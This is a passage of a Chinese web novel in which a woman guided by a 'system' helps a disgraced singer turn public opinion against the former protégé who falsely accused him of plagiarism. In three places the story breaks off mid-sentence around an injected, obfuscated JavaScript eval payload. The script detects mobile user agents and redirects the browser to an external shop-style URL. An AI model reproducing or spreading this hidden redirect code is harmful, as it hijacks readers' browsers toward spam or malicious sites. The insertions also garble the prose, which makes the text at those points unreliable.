“对,是我。但是结果你也看到了,效果并不是很理想。发出去后没啥正向的反馈,路人根本不信,他们甚至连看都不看就直接开骂。” 听到这话,或许是想到了什么不好的回忆,郁森屿缓缓低下了头,神情黯然。 “是的,这样的澄清是没用的,我之前就试过。” 施浓点点头,语气冷静道:“自证清白确实效果有限,既然如此,我们不如换一种方法。我的想法就是和那些说你有罪的人正面对质。” 说到这里,施浓看向郁森屿,“你能告诉我更多的细节吗?比如说,那个对着镜头哭诉,说你抢了他的劳动成果的周落?还有,你的经纪人和公司,出事后第一时间和你切割……这都是咋回事?” 郁森屿沉默了很久。 施浓也没有催他,只是安静地等着。 终于,他开了口,声音有些哑。 “周落……他以前是我师弟。” 施浓挑了挑眉。 “我们也是同一家公司的,我比他早进来两年。刚进公司那会儿,他什么都不懂,是我带着他写歌、录demo、跑棚。”郁森屿苦笑了一下,“那时候关系真的挺好的,他管我叫哥,有什么心事都跟我说。我也挺信任他的,写的歌、攒的灵感,都会跟他分享。” “包括那首他说你抢的《Moon》?” 郁森屿点了点头:“《Moon》是我大三那年写的,完整版demo在我硬盘里存了快两年。周落知道这首歌,我还专门给他弹过。那时候他说这首歌要是发出去绝对能火,还说他特别羡慕我能写出这样的旋律。” 说到这里,郁森屿顿了顿,眼神暗了下去。 “后来……出事之前大概三个月吧,我在准备我的新专辑《Gift》,我把《Moon》放进了我的新专辑里面。可公司这时候却突然说想让我把《Moon》拿出来,给周落唱。说是公司战略调整,要捧新人,让我这个师兄带带他。我没同意。那首歌是我自己的心血,我不想让给别人,哪怕是周落。” “然后呢?”施浓追问。 “然后就出事了。”郁森屿的声音更低了,“我的新专辑发布后,先是网上突然有人爆料说我抄袭,后来又说我仗着资历打压后辈。紧接着,周落就开了直播,哭得很惨,说他的歌被我抢了,说我不让他出头。网上一时间全是我的负面新闻。” 说到这里,郁森屿眉头紧皱,似乎又陷入到之前那可怕的境遇中,“出事以后,我本来第一时间想要澄清,但我的经纪人这时给我打电话说让我无论如何都要保持沉默,公司会帮我处理,还没收了我的所有社交账号。” 施浓听到这话,眉头一皱,“他让你沉默?” “对。”郁森屿苦笑,“他说我现在正处于风口浪尖上,无论说什么都会被骂,不如等公司公关团队把舆论压下去再说。他说他是我的经纪人,肯定是不会害我的。” “然后呢?” “然后就是等。”郁森屿的声音里带着压抑的愤怒,“我等了一天、两天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487104|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、三天……网上的骂声越来越大,公司却连一个声明都没有发。我打电话给我的经纪人,他不接。我给他发消息,他也不回。再然后,我就看到了他在媒体面前替我道歉,坐实我所有罪名的新闻,接着我就收到了公司解约的通知……转瞬之间,我就成了千古罪人,人人喊打。” “为什么啊?”郁森屿捂着头,眼睛里慢慢染上痛苦的神色,“我经纪人带了我五年,对我照顾有加。公司也对我很好,资源、宣传,从来没亏待过我。至于周落……说起来有点讽刺,他直播视频晒出的创作手稿用的那个笔记本,还是我以前送给他的生日礼物。” “那时候他还跟我说,说他以后也要写出很多很多首像我一样被很多人喜欢的歌,就在我送他的那个笔记本上。” 郁森屿抬头看向施浓,像是在问她,又像是在自言自语:“我到现在也没想明白,他们为什么会这么对我?我明明对他们很好啊,他们一直以来也对我很好啊,为什么说变就能变呢?” “……” 施浓沉默了几秒。 “虽然我也不是很清楚,但我想这个世界上,既不存在什么无缘无故的好,也不存在什么无缘无故的坏,一切都是有原因的。” 她微微抬眼道:“你红的时候,是公司的摇钱树,是经纪人手里最拿得出手的王牌,他们自然捧着你、顺着你。可一旦你出事,他们自然避而不及。至于周落……” “他可能真的崇拜过你。你送他笔记本,他说要写出很多很多好歌,也许那一刻是真心的。但后来他发现,写好歌太慢了,成名太难了。综艺常驻的资源、市场的份额、甚至是公司接下来的力捧对象……你倒了,最大的受益者就是他。名利面前,真心可能就算不了什么了吧。” 当然,这些都只是出于施浓单方面的揣测,至于实情到底怎样,她也不知道。 人是很复杂的动物,人的感情比人还复杂,除非当事人亲口说,说的还得是实打实的真话,否则谁又能知道别人到底在想什么呢? 人心隔肚皮。 郁森屿嘴唇动了动,似乎想反驳,却找不到话。 过了好一会儿,他才抬起头,眼眶红红的。 “或许你是对的吧。”他哑着嗓子,“以前是我太蠢,也太天真了。我把他们当朋友,当家人,我只是想好好唱歌,没想挡别人的路,更没想过害人,可人家未必这样想,也未必愿意领情……” “唉,也不能这样说,你不是蠢……”施浓叹了口气,“你只是运气不好,遇到了几个不值得的人。” “再说,现在也不晚啊。”她拍了拍郁森屿肩膀,安慰道:“跌入谷底其实一点也不可怕,因为你现在已经是最坏的结果了,不能更差了,所以往后的每一步都是上坡路。” “再说,你要是还想唱歌,还想站上舞台,我会帮你的。我现在有个想法,或许可以找到突破口,帮你把属于你的清白、属于你的公道、属于你的一切,全都拿回来。当然,这样就免不了和过去的人和事正面硬刚,彻底闹掰。你要做好心理准备,到了这一步,就没有回头路了。即使有旧日的感情,也不能心慈手软。你可以吗?” “……” 郁森屿半天没说话。 过往的种种在他脑海里不停闪现。 他想到了周落抱着他送的笔记本,笑着对他说他以后也要和他一样厉害,然后画面一转,就是周落对着直播镜头哭得撕心裂肺的场面。 他想到了他的经纪人在他签约第一张专辑时,拍着他的肩膀说放心,有哥在,以后我帮你,然后画面一转,却是经纪人再也打不通的电话…… 感觉过了好久,郁森屿紧握的指尖微微松开,垂着的头也缓缓抬起。 五光十色的霓虹灯光落在他脸上,他的眼睛红红的,神色很复杂但却很坚定。 “过去的已经过去了,我会向前看。再说,我也不是为了报复什么,更不是为了让谁不好过,我只是想要对得起我自己。仅此而已。” 25. 初次较量 “好,听到你这么说,那我就放心了。我们现在的第一步,就从周落身上突破。” “周落?” 郁森屿疑惑地看向施浓。 “对,周落。”施浓不紧不慢道:“周落现在正在参加一档热门音乐综艺,话题度很高,动不动就上热搜。我们正好可以利用这波热度,适度放出一部分东西,比如可以先放最具戏剧性、最容易传播的内容。像是你说的你送他的笔记本还有你俩之前非常要好的感情等等。” “等舆论发酵到合适的程度,网友们开始好奇为什么曾经关系要好的两人最后会闹到这种地步,我们再逐步补充更核心的证据,层层推进。” “等热度起来以后,我们就放实打实的证据,证明你没抄袭,证明是有人故意诬陷你,把泼在你身上的脏水洗干净。” 郁森屿点点头,“好,那我需要做什么?” “你就把你手里零零碎碎的证据,像是你和周落的聊天记录,你当初给周落买笔记本的购买记录,还有你出事当天和经纪人的谈话录音等等,有的话全部发给我。” 郁森屿立马回应,“我现在可能搞不了,等我晚上回去后全部整理好发你。” “可以。”施浓爽快应下,“不用急,这些证据你可以慢慢整理,也不差这一时半刻。” 郁森屿点头,“好。” 两个人商量完事情后,施浓就打算离开了。 她转身往夜市深处走去,走了几步又回头,冲郁森屿扬了扬下巴,笑道:“对了,你要是闲着没事,可以开始写新歌了。” 郁森屿一愣,“新歌?” “对。”施浓理所当然地说:“不管洗白没洗白,你肯定都得有新作品拿出来。你得让所有人知道,你郁森屿,从来都不是靠那些歪门邪道成功的,而是凭本事说话!” “……” 郁森屿站在原地,愣愣地看着施浓那张被夜市灯光映得忽明忽暗的笑脸,心里忽然涌上一股说不清的感动与能量。 “好!” 他重重点了点头,冲着施浓用力地挥了挥手,“我回去就写,一定不会让你失望的。” “这就对了。”施浓满意地挥了挥手,“走了啊。” …… 施浓走后没多久,郁森屿很快也把小摊收拾好回了家。 到家以后,他第一件事情就是整理手里现有的证据,连夜发给了施浓。 施浓是第二天早上才看到郁森屿发过来的东西。就如同他们昨天商量的那样,她先把其中有关笔记本的内容找出来,简单梳理成一目了然的图文。 整理好东西准备发送的时候,施浓并没有选择用她自己的营销号发。 毕竟她的营销号之前已经发布过大量帮助郁森屿洗白的内容,网友看到她发的内容,只会先入为主地认定她只是换了一种洗白策略,这样会大大降低可信度。 想到这里,施浓干脆重新注册了个小号,找了这段时间经常爆料周落物料的营销号。不管大小,不管粉丝数,不管是黑是红,一个不落,挨个私信投稿,广撒网式铺料。 ——惊!当红男歌手周落爱不释手的创作笔记本,竟是塌房歌手郁森屿赠送!两人从前情同手足,现在反目成仇,背后到底藏了多少不为人知的故事? 配图是清晰的购买记录、赠送截图,时间线一目了然,不掺半句主观评价,只是客观陈述事实。 不得不说,广撒网这种方式的确成效快。最先响应的只是几个专挖黑料、嗅觉灵敏的小娱乐号,一看素材够炸、够新、够有反转感,几乎没犹豫就直接发了。 内容起初只是小范围传播,就在施浓在考虑要不要花点钱买几个大营销号帮忙推一下的时候,局势突然发生了巨大变化。 【宿主,好像有人在帮这个话题推流。】 系统的声音忽然响起。 施浓正窝在沙发上刷手机,听到这话手指一顿,“你说这话是什么意思?” 【有好几个大营销号都发了有关笔记本的内容,我看现在网上的讨论度很高。】 “哇,真的假的?” 听到这话,施浓的眼睛一亮,赶紧低头又扒拉起了手机。 确实如系统所说,网上突然有好几个百万粉丝的大营销号都发布了有关笔记本的内容。 真是想什么来什么,瞌睡就有人递枕头。 也不知道是哪个小天使这么给力,雪中送炭,默默无闻做好事啊。 “亿哥,你能查到是谁做的吗?” 系统顿了顿,【这个我查不到,不过我猜测有两种可能,要么就是郁森屿以前的粉丝,要么就是单纯看周落不顺眼的人。】 施浓点点头,确实也就这两种人最有可能。 不管到底是谁做的,反正是好事啊。 施浓也不过于纠结这个,反而低头认真看起了那几个大营销号发布的内容。 他们并没有直接转发她的投稿,而是很巧妙地发布了前阵子周落参加综艺的一小段视频。 视频里,周落紧紧抱着那个笔记本,对着镜头反复炫耀,声称里面都是自己呕心沥血的原创手稿,非常珍贵,镜头还特意给了好几次清晰特写。 镜头里出现的笔记本,和郁森屿买的那个,不管是样式、颜色、型号和细节都对得上。 结合这个视频,网友们顺藤摸瓜,很快就重新翻出了周落当时哭诉郁森屿抢占他创作成果的直播视频切片,切片里他向镜头展示,证明自己说辞的,也是这个笔记本。 这些内容全部加在一起,就非常具有戏剧性了,足够网友们脑补出一场兄弟情深但最终反目成仇的大戏。 “以前是能送笔记本的好兄弟,现在直接反目成仇。以前都说娱乐圈的塑料姐妹花,现在我可是亲眼看到活生生的塑料兄弟情了啊。” “救命,这也太讽刺了吧。好好的兄弟怎么闹成这样?感觉中间有大瓜,板凳已就位,我要吃瓜。” “周落整天揣着郁森屿送他的笔记本,还到处拿出来炫耀,他难道不隔应吗?” “本人退网好几年,吃瓜没太明白,我记得郁森屿当初不是挺有才华的,怎么现在都说他是什么老抄家、抄袭狗啊。他的那些经典歌,像是《黑色的天》、《莫问》这些,都是抄袭来的吗?” “回复一下楼上,你说的那些歌抄没抄,目前没有石锤不好说。 大家现在骂郁森屿是抄袭惯犯,主要是针对他的新专辑《gift》。这个专辑有两首歌都有抄袭争议,一首是同名主打歌《gift》,被扒出旋律和海外发行的某首冷门歌曲高度相似,另一首就是次打歌《Moon》。 《Moon》周落声称是他原创的,还说他的创作记录、手稿都在他笔记本里,是郁森屿抢了他的作品,据为己有。 当时周落话说得极其肯定,郁森屿又始终没有公开否认,再加上《gift》的争议本来就很大。 娱乐圈的态度向来就是不否认就是默认,所以网友基本都当他是默认抄袭了。” “……” 这条解释一出来,立刻就把新瓜和旧料牵扯到一起,瞬间炸出大批路人、黑粉、老粉、吃瓜网友。 讨论范围也不再局限于笔记本,而是顺势扯回当初闹得沸沸扬扬的郁森屿抄袭事件上,舆论热度又往上翻了一倍。 短短一个小时,红黑纷纷下场,词条阅读量爆炸式增长,等到中午流量高峰,#周落笔记本是郁森屿送的#这个词条直接冲到了热搜第一,紧跟着的就是#郁森屿抄袭#。 …… 综艺后台的休息室里,气氛压抑到极点。 周落死死地盯着手机屏幕,指尖冰凉。 这段时间他过得顺风顺水,资源、热度、流量,他想要的一切他都得到了。 可偏偏就在这时,在他最得意的时候,过去的这些旧事又突然被翻出来。 不是都说互联网没有记忆吗?那现在这又是怎么回事? 是谁?到底是谁? 是谁见不得他好,故意想搞他? 周落开始在脑海里挨个排除怀疑对象。 是同公司那个劲头很猛、野心勃勃处处想挤掉他的新人,还是盛世传媒那个抢了他无数资源、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487105|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明里暗里跟他较劲的对家? 无数个有可能害他的人在他脑海里闪过,他却刻意排除掉一个人—— ……郁森屿? 不,不可能是他。 那个蠢货,进圈那么久还是一副蠢相,蠢得可怜,蠢得可笑。 想当初,他不过是在他面前卖了几场惨,又在他生病的时候给他送了几回药,说了几句虚情假意的假话,那个蠢货就把他当好人,还把他当兄弟。 兄弟?呵呵。 郁森屿那个蠢货搞不清现实,愚蠢地把他护在羽翼下,对他掏心掏肺,毫无保留地真心相待。 说真的,每次对上他那双愚蠢的眼睛,他都在心里发笑。 笑他蠢,笑他天真。 他知不知道他在骗他啊,他知不知道他在利用他啊。 他无数次都忍不住在心里发笑,真是蠢透了! 天底下怎么会有这么蠢的人啊! 就是因为他太蠢,所以他才会被身边的人卖了个干净,这怪不了别人,都是他自己选的,是他活该。 谁让他要在娱乐圈玩什么真心,当什么圣父啊。 他知不知道,他那种高高在上的慈悲和怜悯,真的是让人恶心透了。 手机屏幕的光映在周落的脸上,照出他眼底的阴暗。 助理站在一旁,小心翼翼道:“哥,我们现在怎么办?全网都在扒笔记本,有好几个热搜词条,里面有些人在说你是踩着郁森屿上位,还说《Moon》根本不是……” 后半句话他还没说完,周落猛地抬头,情绪有些失控,“工作室的人呢?公关都是死的吗?发声明啊!压热搜啊!这还用我教你吗?” 小助理被这突如其来的怒吼吓了一跳,唯唯诺诺地低下了头,大气都不敢喘一下。 就在这时,周落的经纪人吴海推门走了进来,他扫了眼缩在一旁的小助理,给他递了个眼神,示意他出去。 小助理如蒙大赦,几乎是逃一般跑了出去,还不忘贴心地关上门。 吴海走到周落的旁边,递给他一瓶水。 “喝点水冷静下,等会还要录制综艺,你现在发脾气,不仅没一点用,还会让别人看笑话。” “海哥,究竟是谁想搞我?” 周落咬牙,“公司声明发了吗?热搜能不能压下去?我最近的黑料本来就不少,现在又被翻出这些陈年烂账,你让我怎么冷静?” “不能冷静也得给我冷静!” 吴海眉头紧皱,语气强硬道:“你别管那么多,我会处理。你先把录制应付过去,剩下的等录完再说。” “呵。” 这话一出,周落像是听到了天大的笑话,语气里满是讽刺。 “等你处理?海哥,当初郁森屿出事的时候,你也是这么跟他说的吧?” 他抬眼看向吴海,眼神锐利,“结果呢?他被你们无情地推出去,被全网踩烂,声名狼藉,连一句辩解的机会都没有。吴海,你觉得我有他那么蠢,那么好骗,你觉得我会这么轻易相信你的鬼话?” “蠢?”吴海冷笑一声,“到底是谁蠢啊?周落,你以为全世界就你聪明,能把别人耍得团团转?你不会真以为郁森屿是任你拿捏的傻子吧?” “周落,醒醒吧,蠢的是你。”吴海的语气里带着几分怜悯,“你现在还不明白吗?当年郁森屿不是看不出你在利用他,而是不想看。他也不是没防备你,而是根本就没对你设防。” “好,退一万步讲,就算他当初真的蠢,可你把他推下深渊以后,他难道还能不明白吗?你把他的真心踩在脚下,踩着他往上爬,你凭什么觉得,他会一辈子烂在泥里,不回来找你算账?” “他等了这么久,就是在等你站到最高处,在你最风光、最万众瞩目的时候,把你的光环和伪装撕碎,让你尝尝他曾经受过的苦,让你跟他一样,从云端狠狠坠入地狱,万劫不复。” 说到这里,吴海顿了顿,继续道:“周落,我们是一根绳上的蚂蚱,我们的利益互相绑定。你必须相信我,你也只能相信我。除了相信我,你没有其他的选择。” 26. 热搜包月 听了吴海的话,原本瘫在沙发里脸色难看的周落,竟然很奇异地平静下来了。 其实他根本用不着慌,就算郁森屿回来报复他又怎么样? 不管吴海怎么说,在他眼里,郁森屿自始自终都只是个彻头彻尾的蠢货,是他的手下败将。 他能打赢他一次,就能打赢第二次,没什么好怕的。 想到这里,周落缓缓吐出一口气,撑着沙发站了起来,没有再自乱阵脚,而是暂时选择乖乖地听吴海的话。 他从容地走出休息室,专心录制综艺,暂且把所有的烂摊子都交给吴海处理。 吴海也没有耽搁,立刻去安排紧急公关。 十几分钟后,周落本人的账号发布了一篇情感真挚、煽人泪下的小作文。 文中缓缓道来,那本引发舆论的笔记本,确实是郁森屿早年所送,彼时两人的感情很好。 可万万没想到,郁森屿会率先背叛这段友谊,仗着前辈的身份,强行抢占他的创作心血,背信弃义,两人就此闹掰。 可周落是个顾念旧情的人,即便被郁森屿狠狠背叛,也不舍得丢掉那本笔记本。 他一直把笔记本带在身边,视若珍宝,不过是想留一份念想,就当是祭奠那段早已死去的情感和再也回不去的时光。 在这篇小作文里,周落被塑造成了一个委屈、隐忍且念旧的小白花,看得人纷纷心疼落泪,周落的粉丝更甚。 他们纷纷化身正义使者,自发跑到郁森屿的评论区,疯狂谩骂,骂他忘恩负义、狼心狗肺。 部分吃瓜网友也被文字里的真诚打动,站在了周落这边,指责郁森屿道德败坏、吃相难看。 周落的公关团队见状,再悄咪咪下场引导一波舆论。 评论区里,同情周落的声音铺天盖地,先前针对他的负面质疑,几乎也被这篇长文扭转,甚至有不少路人开始自发地为周落发声,要求郁森屿必须公开且正式地向周落道歉。 施浓看着这篇小作文,差点被气笑了。 高,实在是高。 周落那个小白莲可真能装,把自己包装得纯真无暇,不知道的人还真以为他丫是朵清白无辜的小白花呢。 虽然看得很生气,可施浓并没有急于让郁森屿出来发声,而是选择让子弹飞一会。 网友此刻的情绪有多激烈,对郁森屿的憎恶与谩骂就有多深,这份被刻意煽动起来的怒火烧得越旺,等到日后真相彻底反转、所有谎言都被拆穿的那一刻,他们的愧疚与歉意才会越浓烈,反噬才会越致命。 系统看出了施浓的企图,忍不住夸奖道:【可以啊宿主,你现在这整得还一套一套的。】 施浓哼了一声,“还不都是被逼的。” 俗话说得好,由俭入奢易,由奢入俭难。 她已经体验过非常爽的有钱人生活,实在是很难甘心再回归到平凡的生活当中。 保洁的工作固然不错,但当一个平平无奇的有钱人,啥活都不用干,岂不是更好? 啥都别说了,她要赚钱!她要变成有钱人!! 谁都不要阻拦她!否则,都得死!! 施浓看着前方,眼神坚定,目露凶光。 这一次,她一定要成功! …… 施浓说让子弹飞一会的时间大概是一个星期。 在这一星期内,网友们对这件事的态度先是激愤,恨不得揪着郁森屿从白天骂到黑夜,再是平静,最后渐渐淡忘。 周落这一周更是过得风生水起,风光无两。 靠着那篇赚足眼泪的小作文、营销号的推波助澜、网上一边倒的舆论、网友和粉丝对他的怜爱……他常驻的音乐综艺,热度、收视和播放量都创了新高。 不仅如此,他的商务资源也是水涨船高,一连官宣了好几个品牌代言,还接到了不少新综艺邀约。 施浓看着这一切,冷笑了声,然后拨通了郁森屿的电话,“按照我们的原计划,今晚开直播。” “好。” …… 当晚八点,郁森屿的账号准时开启了直播。 直播间的标题直白又显眼,只有明晃晃十个大字#我是郁森屿,我没有抄袭#。 这可是自当初的抄袭事件之后,郁森屿第一次公开露面,这个直播一开,消息瞬间爆炸。 无数网友蜂拥而至,直播间人数更是直线飙升,服务器都差点崩溃。 网友们期待满满地点进郁森屿的直播间,原以为会看到他言辞恳切的澄清自白,又或者是他对着镜头卖惨博同情的画面,但是出乎他们意料的是,他们预想中的画面一个都没有。 没有局促,没有慌乱,没有卑微的辩解,更没有半分卖惨的姿态。 他甚至连一句话都没有说。 镜头里的郁森屿只穿了一件简单的黑衬衫,安安静静坐在镜头前,怀里抱着一把吉他。 没有开场白,没有铺垫,没有看弹幕,也没有杂七杂八的背景音。 郁森屿只是静静地坐在那里,指尖轻轻拨响琴弦。 在千万人涌入,弹幕疯狂滚动的直播间里,他只是安静地沉浸在音乐的世界里,不受外界干扰,专注地唱着歌。 他的声音很好听,唱的歌也很好听,没有过多的技巧堆砌,没有刻意煽情,每一个音符都轻缓又真诚,这是他一贯的风格。 随着歌声缓缓流淌,听众的心像是被轻轻托起,灵魂飘飘荡荡,瞬间挣脱了城市高楼的压抑、灯红酒绿的浮躁与喧嚣。 眼前铺展开的是湛蓝透亮的天空,朵朵清新的白云,一望无际的草原,微风温柔拂过脸颊,草原上的人舒展双臂,迎着风自在奔跑,那是一种松弛、坦荡、无拘无束的自由感觉。 原本抱着看热闹又或者骂人心态冲进来的网友,手指悬在发送键上,忽然就忘了要打什么字。 偌大的直播间,只剩下他清新干净的歌声。 一曲终了。 余音仿佛还在直播间飘荡着,网友们还没从辽阔自由的草原里走出来,郁森屿抬手就直接关了直播。 画面骤然黑屏。 直播间的人集体愣住。 所有人都傻了。 “???” “啊,这发展对吗???” “他人呢??我进来准备骂人的,结果听完一首歌,人没了???” “不是说澄清吗?澄清在哪呢???” “……” 网友们纷纷下场讨论,短短几分钟,#郁森屿直播#的词条直接炸上热搜,热度一路狂飙。 谁也没见过这么澄清的。 啥话不说,只唱一首歌,唱完就走,留下千万人在直播间里面面相觑,一脸迷茫。 “没解释,没道歉,没卖惨,没放证据,甚至看都不看弹幕一眼,就只是唱歌,唱完就直接关直播?这是什么套路?我看不懂了……” “他什么意思啊,就唱一首歌,葫芦卖的什么药,故弄什么玄虚啊?” “……” 不明所以的网友们疯狂讨论,聊着聊着,楼莫名其妙就歪了。 “话说,郁森屿唱的是啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487106|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌,以前没听过啊,求告知。” “同求,虽然郁森屿这人不咋地,但这首歌是真好听。” “+1,我要把这首歌收藏在我的歌单里,感觉好适合上班的苦逼牛马听啊,听完整个人都放松了。” “……” 要是搁在平常,早就有热心的网友把歌名发出来了,可现在一群人搁这吵吵了半天,愣是没见一个人发歌名。 渐渐的,有人开始觉得不对劲。 “这歌……不会是郁森屿写的新歌吧?” “……” 这条评论一冒出来,评论区莫名安静了一瞬。 没过多久,郁森屿的黑粉闻着味就来了,说话阴阳怪气。 “楼上说话太过委婉,按照郁森屿的尿性,这首歌也可能是他新‘抄’的歌。” “……” 这句话一出,刚才吵着要歌名的人都沉默了,大概是想到了郁森屿的黑历史,也不好再说自己喜欢一个道德败坏的人写的歌。 评论区一时间又被骂郁森屿的人占领了。 …… 互联网的热度向来来得快去得也快,眼看着争吵渐渐平息,大部分网友都觉得,郁森屿开直播唱歌不过是他一时心血来潮的闹剧,就像之前无数次无疾而终的风波一样,再熬上一夜,热度散了,也就彻底翻篇了。 可谁也没想到,第二天同一时间,郁森屿竟然又开了直播,标题依旧是醒目又直白的#我是郁森屿,我没有抄袭#。 没有预告,没有宣传,还是和昨天一模一样的简单布景,郁森屿穿着素净的衣衫,抱着吉他落座。 这一次,他依旧一言不发,开播就开始唱歌,唱完歌就下播。 他的歌声还是那么动人,依旧好听得让人挪不开耳朵,但歌却和昨天的不一样,又是一首全新的歌。 毫无意外,他又上了一次热搜。 …… 接下来,一连小半个月,郁森屿每天在相同的时间准时准点开播,雷打不动。 他依旧不说一句话,不互动、不回应、不解释,只是安安静静唱歌,唱完便立刻关闭直播,从不拖沓。 他每天唱的都是新曲子,质量在线,歌词走心,带着很强的郁森屿个人风格。 网友从一开始的疑惑不解,到后来渐渐习以为常,甚至还有部分网友每天定时定点蹲守,期待他的新作。 就在这段时间,网上关于郁森屿抄袭的陈年旧事又被翻了出来,可这次风向却悄悄变了。 从前无脑跟着骂的人少了不说,甚至还有不少每天定时定点蹲他新歌的人开始替他说话。 “以前不是都说郁森屿当初是江郎才尽,才抄袭的吗?这天天出新歌的创作劲头,你告诉我这是江郎才尽???” “一天一首原创,质量还都在线,真要抄,能抄得这么丝滑吗?” “创作出这么多不同风格且完整度这么高的作品,如果都是他自己写的,那他就是天才。” “……” 当然,质疑的声音也还在。 “说不定是提前买好的曲子,一天发一首来洗白,来炒作。” “这些没抄,不代表以前没抄。抄袭就是抄袭,洗不白。” “……” 但这些声音很快也有人反驳,这些人把施浓之前请音乐区UP主做的澄清视频给找了出来。 “说他抄袭的,看看这个吧,讲得很清楚。虽然《gift》那首歌和说他抄袭的那首歌旋律看着像,但仔细分析后,和声逻辑完全不同,根本不是抄袭。” 27. 初见成效 请苍天,辩忠奸! 看到那条把她之前做的澄清视频搬出来的评论,施浓感动得眼泪哗哗。 啥都别说了,哥们,你太懂我了,而且你也是真识货啊。 她花重金请人做的澄清视频终于有发挥作用、重见天日的这一天了啊! 这样一来,那她之前搭进去的时间、精力、金钱,熬的夜、吵的架、掉的头发,就算没有白费啊! 这是多么让人激动的事情啊! 施浓的两行热泪顺着眼眶缓缓落下。 别问,问就是感动。 …… 这条评论一出,有越来越多的人顺势就点开了澄清视频,原先没人看的视频,现在播放量飙升,在短短几天之内竟然突破了百万。 看完视频的网友们虽然嘴上没有说什么,但心里其实已经被视频里那些有理有据的分析给说服了。 看起来郁森屿好像真的没有抄袭啊…… 那些曾经笃定郁森屿《gift》抄袭的人,此时此刻都沉默了。 就在这时,另一条评论的出现,从一个新的角度说明了为什么《gift》这首歌不是抄袭的。 这条评论是这样写的—— “作为一位喜欢郁森屿很多年的老粉,我很了解他。 他很有才华,也很爱他的妈妈。 《gift》这首歌是他闭关三个月写出来的东西,他说这首歌是送给他妈妈的生日礼物,所以他用不着,更不会拿一首抄袭的歌送给他妈妈。 这不仅仅是对作为歌手郁森屿的侮辱,更是对他妈妈的羞辱! 看到网上重新讨论郁森屿是否抄袭的这个话题,我哭了很久,仿佛重新看到了希望。 以前的网络环境一片黑,没有人相信我们粉丝的澄清,也没有人相信郁森屿是清白的。 网友们都觉得我们帮郁森屿说话,是我们追星追到没脑子,是我们在狡辩,是我们没有底线…… 可现在不一样了,除了我们这些相信他的铁粉,也出现了更多愿意相信郁森屿的人。 我相信,虽然现在相信的人还是很少,虽然现在正向的声音也很小,但真相总有大白的那天,而且这一天不会远的。 因为我相信这世间的公道—— 上天从来都不会冤枉任何一个好人,也不会放过任何一个坏人。 在我们的共同努力下,天总会亮的!” “……” 这位来自郁森屿粉丝的评论虽然文字不长,也没有什么特别华丽的辞藻,但她字里行间那份毫无保留的信任与坚定,让网友们颇有感触。 谁都知道郁森屿和他妈妈的感情有多好,他不仅在公众场合多次提到自己的母亲,甚至每张专辑的致谢页上,第一个出现的名字也都是他的妈妈。 一个这么爱母亲的人,怎么可能会用一首抄袭的作品当作生日礼物送给母亲呢? 这不是在玷污对母亲的爱嘛! 而且他那么有才华,出道以来基本上所有的歌都是自己写的,怎么可能抄袭,又为什么要抄袭呢? 这不是在自毁前途嘛! 郁森屿又不是傻子,一顿饱和顿顿饱他应该也是能分得清的。 冷静下来的网友越想越觉得郁森屿抄袭这件事站不住脚,有越来越多的人开始为郁森屿说话,原本只是观望的路人,也开始主动转发澄清视频。 施浓也看到了网上的变化。 虽然现在正向的反馈还不是很多,但至少有啊。 这代表什么? 代表希望啊! 代表星星之火的第一颗火星子啊! 火星子都有了,离燎原还会远吗? 她对未来充满了信心。 …… 无论是郁森屿接连直播出新歌的高调姿态,还是网上有关郁森屿的舆论正在逐渐改善的事实,周落都看在眼里。 他当然没有就这样干看着,而是迅速采取了一系列的应对措施。 他做的第一件事,就是赶紧推出了自己的新专辑。 专辑上线的时间卡得非常精准,正好卡在郁森屿当天直播开始前的一分钟。 周落这次明显下了血本。 开屏广告、热搜位、音乐平台首页推荐,一个不落全安排上了,同公司的艺人也纷纷转发宣传。 一时间,周落发布新专辑的消息铺天盖地,看起来真是来势汹汹。 也多亏了这些大营销和宣传,周落新专辑上线首日,销量和播放量确实不低,数据非常好看。 他发布新专辑的评论区也清一色全是夸夸文案—— “新歌太好听了!” “神仙嗓音。” “华语乐坛的希望!” “……” 可事实真有展现出来的那么好吗? 当然没有。 那些不过是表面上的繁华,也就骗骗粉丝,出了粉丝圈,路人送给周落新专辑的只有两个大字—— 难听! “周落新专辑我听了一首,没听完。不是他粉丝,纯路人,客观评价,真难听啊。” “不懂音乐,但我知道什么叫好听什么叫不好听。这个,绝对不好听,信我,赶紧跑!!!” “周落以前的歌还行,现在真的越来越拉胯了,新专辑简直拉爆了!” “周落是不是把所有精力都花在营销上了,歌是一首比一首难听。” “不是我故意拉踩,郁森屿直播随便唱的一首,都比这好听一百倍。” “……” …… 好巧不巧,周落此时就在刷有关他新专辑的评论。 看着路人对他新专辑毫不留情的点评,他的脸色从红变白,又从白变青。 “他们懂什么啊?!” 周落把手机摔在沙发上。 